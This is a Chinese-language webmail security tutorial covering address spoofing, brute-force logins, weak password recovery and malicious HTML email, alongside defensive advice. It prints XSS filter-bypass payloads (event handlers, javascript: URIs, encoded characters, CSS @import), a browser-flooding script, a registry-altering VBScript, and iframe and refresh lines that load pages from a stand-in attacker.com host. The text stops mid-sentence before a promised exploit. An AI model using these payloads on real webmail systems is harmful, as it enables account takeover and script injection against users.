分享
 
 
 

Webmail攻防实战

王朝other·作者佚名  2008-05-21
窄屏简体版  字體: |||超大  

WebMail是指利用浏览器通过web方式来收发电子邮件的服务或技术,不需借助邮件客户端,可以说只要能上网就能使用WebMail,极大地方便了用户对邮件的收发。对于不能熟练使用邮件客户端, 或者在网吧不便使用邮件客户端的用户来说,WebMail更是必不可少的选择。Email能够成为当今Internet上应用最广泛的网络服务,WebMail可谓功不可没。

由于用户的使用不当或者WebMail系统的开发不周,都有可能给WebMail的使用带来更多的安全威胁。同样,WebMail系统作为当今电子邮件系统的重要组成部份,它的安全性也是不可忽视的。

一、邮件地址欺骗

邮件地址欺骗是非常简单和容易的,攻击者针对用户的电子邮件地址,取一个相似的电子邮件名,在WebMail的邮箱配置中将“发件人姓名”配置成与用户一样的发件人姓名(有些WebMail系统没有提供此功能),然后冒充该用户发送电子邮件,在他人收到邮件时,往往不会从邮件地址、邮件信息头等上面做仔细检查,从发件人姓名、邮件内容等上面又看不出异样,误以为真,攻击者从而达到欺骗的目的。例如某用户的电子邮件名是wolfe,攻击者就会取w0lfe、wo1fe、wolfee、woolfe之类相似的电子邮件名来进行欺骗。虽然免费的午餐越来越难吃,但还是有很多用户使用的是免费电子邮箱,通过注册申请,攻击者很容易得到相似的电子邮件地址。

人们通常以为电子邮件的回复地址就是它的发件人地址,其实不然,在RFC 822中明确定义了发件人地址和回复地址可以不一样,熟悉电子邮件客户端使用的用户也会明白这一点,在配置帐户属性或撰写邮件时,可以指定与发件人地址不同的回复地址。由于用户在收到某个邮件时,虽然会检查发件人地址是否真实,但在回复时,并不会对回复地址做出仔细的检查,所以,如果配合smtp欺骗使用,发件人地址是要攻击的用户的电子邮件地址,回复地址则是攻击者自已的电子邮件地址,那么这样就会具有更大的欺骗性,诱骗他人将邮件发送到攻击者的电子邮箱中。

所谓害人之心不可有,防人之心不可无,鉴于邮件地址欺骗的易于实现和危险性,我们不得不时时提防,以免上当受骗。对于WebMail系统而言,提供邮件信息头内容检查、smtp认证(如果该邮件系统支持smtp的话)等服务技术,将邮件地址欺骗带来的危害降至最小是非常有必要的。对邮件用户而言,认真检查邮件的发件人邮件地址、发件人IP地址、回复地址等邮件信息头内容是很重要的。

二、WebMail暴力破解

Internet上客户端与服务端的交互,基本上都是通过在客户端以提交表单的形式交由服务端程序(如CGI、ASP等)处理来实现的,WebMail的密码验证即如此,用户在浏览器的表单元素里输入帐户名、密码等信息并提交以后,服务端对其进行验证,如果正确的话,则欢迎用户进入自己的WebMail页面,否则,返回一个出错页面给客户端。

籍此,攻击者借助一些黑客工具,不断的用不同的密码尝试登录,通过比较返回页面的异同,从而判断出邮箱密码是否破解成功。帮助攻击者完成此类暴力破解的工具有不少,如wwwhack、小榕的溯雪等,尤以溯雪的功能最为强大,它本身已经是一个功能完善的浏览器,通过分析和提取页面中的表单,给相应的表单元素挂上字典文件,再根据表单提交后返回的错误标志判断破解是否成功。

当然我们也看到,溯雪之类的web探测器,可以探测到的不仅是WebMail的密码,像论坛、聊天室之类所有通过表单进行验证登录的帐户密码都是可以探测到的。

对于WebMail的暴力破解,许多WebMail系统都采取了相应的防范措施。如果某帐户在较短的时间内有多次错误登录,即认为该帐户受到了暴力破解,防范措施一般有如下三种:

1、禁用帐户:把受到暴力破解的帐户禁止一段时间登录,一般是5至10分钟,但是,如果攻击者总是尝试暴力破解,则该帐户就一直处于禁用状态不能登录,导致真正的用户不能访问自己的邮箱,从而形成DOS攻击。

2、禁止IP地址:把进行暴力破解的IP地址禁止一段时间不能使用WebMail。这虽然在一定程度上解决了“禁用帐户”带来的问题,但更大的问题是,这势必导致在网吧、公司、学校甚至一些城域网内共用同一IP地址访问internet的用户不能使用该WebMail。如果攻击者采用多个代理地址轮循攻击,甚至采用分布式的破解攻击,那么“禁止IP地址”就难以防范了。

3、登录检验:这种防范措施一般与上面两种防范措施结合起来使用,在禁止不能登录的同时,返回给客户端的页面中包含一个随机产生的检验字符串,只有用户在相应的输入框里正确输入了该字符串才能进行登录,这样就能有效避免上面两种防范措施带来的负面影响。不过,攻击者依然有可乘之机,通过开发出相应的工具提取返回页面中的检验字符串,再将此检验字符串做为表单元素值提交,那么又可以形成有效的WebMail暴力破解了。如果检验字符串是包含在图片中,而图片的文件名又随机产生,那么攻击者就很难开发出相应的工具进行暴力破解,在这一点上,yahoo电邮就是一个非常出色的例子。

虽然WebMail的暴力破解有诸多的防范措施,但它还是很难被完全避免,如果WebMail系统把一分钟内五次错误的登录当成是暴力破解,那么攻击者就会在一分钟内只进行四次登录尝试。所以,防范WebMail暴力破解还主要靠用户自己采取良好的密码策略,如密码足够复杂、不与其他密码相同、密码定期更改等,这样,攻击者很难暴力破解成功。

三、邮箱密码恢复

难免会有用户遗失邮箱密码的情况,为了让用户能找回密码继续使用自己的邮箱,大多数WebMail系统都会向用户提供邮箱密码恢复机制,让用户回答一系列问题,如果答案都正确的话,就会让用户恢复自己邮箱的密码。但是,如果密码恢复机制不够合理和安全,就会给攻击者加以利用,轻松获取他人邮箱密码。

下面是许多WebMail系统密码恢复机制所采取的密码恢复步骤,只有用户对每步提出的问题回答正确的话才会进入下一步,否则返回出错页面,针对每一步,攻击者都有可乘之机:

第一步:输入帐户:在进入密码恢复页面后首先提示用户输入要恢复密码的邮箱帐户。这一步对攻击者而言自然不成问题,邮箱帐户就是他要攻击的目标。

第二步:输入生日:提示用户按年月日输入自己的生日。这一步对攻击者而言也很轻松,年月日的排列组合很小,借助溯雪等工具很快就能穷举破解出来,所以WebMail系统有必要在此采取暴力破解防范措施。并且每个用户需要注意的是,攻击者不一定来自地球的另一端,很可能就是你身边的人,或许这些人更想知道你邮箱里有什么秘密,而他们要弄清你的生日往往是件轻而易举的事情,你不是昨天才过了生日party吗?你不是刚刚把身份证复印件交给人事部吗?所以,为了邮箱安全,用户是不是要把真实的生日做为邮箱注册信息,WebMail系统是不是一定要用户输入真实的生日做为注册信息,这还有待考虑。

第三步:问题回答:提示用户回答自己设定的问题,答案也是用户自己设定的答案。在这一步,攻击者往往只有靠猜测,不幸的是,很多用户的问题和答案是如此的简单,以致于攻击者能轻易的猜测出来,例如提出的问题只是知识性的问题、提出的问题和答案相同等。攻击者对用户越熟悉,成功的可能性就越大,例如有用户问“你男朋友是哪里人”,殊不知,攻击者正是她的男朋友。所以,用户把问题设置成唯有自己知道的答案至关重要,这样攻击者才很难得逞,不过不要忘了答案,否则就得不偿失了。

在用户正确完成以上各步骤以后,WebMail系统就会让用户恢复自己邮箱帐户的密码。密码恢复的方式又各有不同,一般有如下几种方式,安全程度各有不同:

1、页面返回:返回的页面里显示用户的邮箱密码。这样故然方便省事,但是如果让攻击者得到密码,则能在丝毫不惊动用户的情况下使用用户的邮箱,使得攻击者能长期监视用户的邮箱使用情况,给用户带来更大的安全隐患。

2、邮件发送:将密码发送到用户注册时登记的另一个邮箱里。对于攻击者来说,忙了半天,仍然是一无所获,除非继续去攻击另一个邮箱;对于用户来说,在另一个邮箱里收到发来的密码则是一个警告,说明有攻击者猜测到了他的邮箱密码提示问题,迫使用户尽快改变自己的密码提示问题。

不过,如果用户注册时登记的不是一个正确的邮箱,或者该邮箱已经失效,那么,这样不仅是攻击者,就是用户本人也永远得不到密码了。有些WebMail系统在注册时要求用户登记正确的邮件地址,并把邮箱开通的验证信息发往该邮件地址,不过这样仍然不能避免用户在邮箱失效后不能恢复自己邮箱密码的情况发生。

3、密码重设:让用户重新设置一个密码。这种方式相比“页面返回”方式,在攻击者重设密码后,用户因为不能正常登录进自己的邮箱而能察觉出受到攻击,安全性相对好一些;但是相比“邮件发送”方式,因为攻击者能立即修改邮箱密码,少了一层保障,安全性又差一些。

由“页面返回”或“邮件发送”回来的密码可以明显看出,该电子邮件系统是把邮箱帐户的密码未经加密直接以明文保存在数据库或LDAP服务器中。这样就造成很大的安全隐患,WebMail系统管理员或侵入数据库的攻击者能轻易获取用户的邮箱密码,用户却完全不知情,所以为了加大保密性,有必要将邮箱密码加密后再以密文存入数据库,最好用不可逆的单向加密算法,如md5等。

邮箱密码恢复机制是否安全,主要还是看WebMail系统提出什么样的问题、采取什么样的问答方式,例如将多个密码恢复步骤中提出的问题放在一步中一起提出,就会相应地增加攻击者的难度从而提高安全性,像搜狐邮件、新浪邮件和yahoo电邮等都是一些令人失望的例子。

四、恶性HTML邮件

电子邮件有两种格式:纯文本(txt)和超文本(html)。Html邮件由html语言写成,当通过支持html的邮件客户端或以浏览器登录进入WebMail查看时,有字体、颜色、链接、图像、声音等等,给人以深刻的印象,许多垃圾广告就是以html邮件格式发送的。

利用html邮件,攻击者能进行电子邮件欺骗,甚至欺骗用户更改自己的邮箱密码。例如攻击者通过分析WebMail密码修改页面的各表单元素,设计一个隐含有同样表单的html页面,预先给“新密码”表单元素赋值,然后以html邮件发送给用户,欺骗用户说在页面中提交某个表单或点击某个链接就能打开一个精彩网页,用户照做后,在打开“精彩网页”的同时,一个修改邮箱密码的表单请求已经发向WebMail系统,而这一切,用户完全不知情,直到下次不能登录进自己邮箱的时候。

为了防止此类的html邮件欺骗,在修改邮箱配置时,特别是修改邮箱密码和提示问题时,WebMail系统有必要让用户输入旧密码加以确认,这样也能有效防止载取到当前WebMail会话的攻击者(下面会介绍)更改邮箱密码。

通过在html邮件中嵌入恶性脚本程序,攻击者还能进行很多破坏攻击,如修改注册表、非法操作文件、格式化硬盘、耗尽系统资源、修改“开始”菜单等,甚至能删除和发送用户的邮件、访问用户的地址簿、修改邮箱帐户密码等等。恶性脚本程序一般由JavaScript或VBScript脚本语言写成,内嵌在html语言中,通过调用ActiveX控件或者结合WSH来达到破坏攻击目的。深受修改浏览器的恶性html页面之痛,饱经“欢乐时光”邮件病毒之苦的朋友,对此应该不会陌生。下面是两个简单的恶性脚本程序:

1、打开无数个浏览器窗口,直至CPU超负荷,非关机不可:<script language="JavaScript">

<!--while (true){window.open("URI"); //如果URI就是当前页本身,那就更具破坏性。}//-->

</script>

2、修改注册表:<script language="VBScript">Set RegWsh = CreateObject("WScript.Shell")'设置IE浏览器默认页RegWsh.RegWrite "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page", "http://www.attacker.com"</script>

鉴于脚本程序可能带来的危险,WebMail系统完全有必要禁止html邮件中的脚本程序。禁止脚本程序的基本做法就是过滤掉html源程序中能够使脚本程序运行的代码,如script元素等,在这方面做的最好的莫过于hotmail了。下面是些常见的绕过脚本程序过滤的方法,不少的WebMail系统仍然没有完全改正:

(1) 在html语言里,除了script元素内的或在script元素内引入的脚本程序能在html页面装载时被运行外,使用事件属性也能调用脚本程序运行,事件属性在JavaScript语言里被称为事件句柄,用于对页面上的某个特定事件(如鼠标点击、表单提交)做出响应,驱动javascript程序运行。它的语法如下:

<tag attribute1 attribute2 onEventName="javascript code;">

例如:<body onload="alert('JavaScript#1 is executed');"><a href="http://cms.ddvip.com/index.php#" onclick="alert('JavaScript#2 is executed');">Click here</a><form method="post" action="#" onsubmit="alert('JavaScript#3 is executed');"><input type="submit" value="Submit"></form></body>

(2) URI(Universal Resource Identifier:通用资源标识)用于定位Internet上每种可用的资源,如HTML文档、图像、声音等。浏览器根据URI的资源类型(URI scheme)调用相应的程序操作该资源,如果把一些元素的URI属性值的资源类型设为javascript,则能够调用javascript程序运行。语法如下,注意要用“;”分隔不同的javascript语句:

<tag attribute="javascript:javascript-code;">

例如:<body background="javascript:alert('JavaScript#1 is executed');"><a href="javascript:alert('JavaScript#2 is executed');">Click here</a><form method="post" action="javascript:alert('JavaScript#3 is executed');"><input type="submit" value="Submit"></form><img src="javascript:alert('JavaScript#4 is executed');"></body>

(3) 由于软硬件或其他原因,一些冷僻或特殊的字符不能输入或正确显示在html页面上,为了解决这个问题,html中可以使用SGML字符参考。字符参考是一种用来指定文档字符集中任何字符的独立编码机制,以“&”开始,以“;”结束。字符参考有两种表达方式:数字字符参考和实体字符参考。数字字符参考的语法为“&#D;”(D代表一个十进制数),或“&#xH;”、“&#XH;”(H代表一个十六进制数),例如“A”、“A”表示字母“A”,“水”、“水”表示汉字“水”。

攻击者把html语句里的一些字符以数字字符参考来代替,这样能避开WebMail系统对脚本程序的过滤。需要注意的是,元素和属性不可以用字符参考表示,例如:<body><img lowsrc="javasCript:alert('JavaScript#1 is executed')"><a href="javAsCript:alert('JavaScript#2i&#x73 executed')">Click here</a><form method="post" action="javascript:alert('JavaScript#3 isexecuted')"><input type="Submit" value="Submit"></form></body>

(4) 样式表是层叠样式表单(CSS:Cascading Style Sheet)的简称,用于控制、增强或统一网页上的样式(如字体、颜色等),它能够将样式信息与网页内容相分离,在html语言的style标签内可以用@import声明输入一个样式表。但是,如果输入的资源类型或内容是javascript,Internet Explorer浏览器仍然会执行。

例如:<style type="text/css"><!--@import url(javascript:alert('JavaScript#1 is executed'));@import url(http://www.attacker.com/js.css);--></style>

其中http://www.attacker.com/js.css的内容如下所示:@import url(javascript:alert('JavaScript#2 is executed'));@import url(javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,84,101,115,116,32,49,39,41,59,97,108,101,114,116,40,39,84,101,115,116,32,50,39,41,59)));

能够绕过WebMail系统对脚本程序过滤的方法远不止上面所说的这些,例如曾有人发现把“<script>”标签改成“<_a<script>”和“<<script>”的样子能绕过yahoo电邮的过滤,这个漏洞yahoo在最近才改正过来。

除了可以在html邮件中直接嵌入脚本程序外,攻击者还可以设计一些html代码,在用户打开html邮件时,不知不觉引入另一个html文件,而此文件中正含有恶性代码,这样不仅能直接绕过WebMail系统对脚本程序的过滤,而且还能有效避开提供了防毒服务的邮件系统对恶性代码的查杀。下面是几个调用html文件的例子:

(1) Refresh到另一个页面:<body><meta http-equiv="refresh" content="1;URL=http://www.attacker.com/another.htm"></body>

(2) Iframe引入另一个页面:<body><iframe src="http://www.attacker.com/import.htm" frameborder="0"></iframe></body>

(3) scriptlet引入另一个页面:<body><object type="text/x-scriptlet" data="http://www.attacker.com/import.htm"></object></body>

攻击者还可以采取如下方法,使带有恶性代码的html邮件具有更大的隐蔽性:

(1) 配合邮件欺骗技术,使用户不会怀疑收到的邮件,并且攻击者也能隐藏自己的行踪。

(2) 把html邮件设计成看起来像txt邮件。

(3) 有时可以把html邮件中的恶性代码放在一个隐藏的层里面,表面上看不出任何变化。

针对恶性脚本程序的影响,对用户常见的建议办法是提高浏览器的安全级别,如禁用ActiveX、禁用脚本等,但这并不是一个很好的办法,因为这样会影响到用户对其他正常html页面的浏览。即使浏览器达到了最高级别,依然对某些恶性代码无济于事,下面是位以色列安全专家发现的漏洞,能让Windows系统自动执行任何本地程序,即使Internet Explorer已经禁止了ActiveX和脚本程序:

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有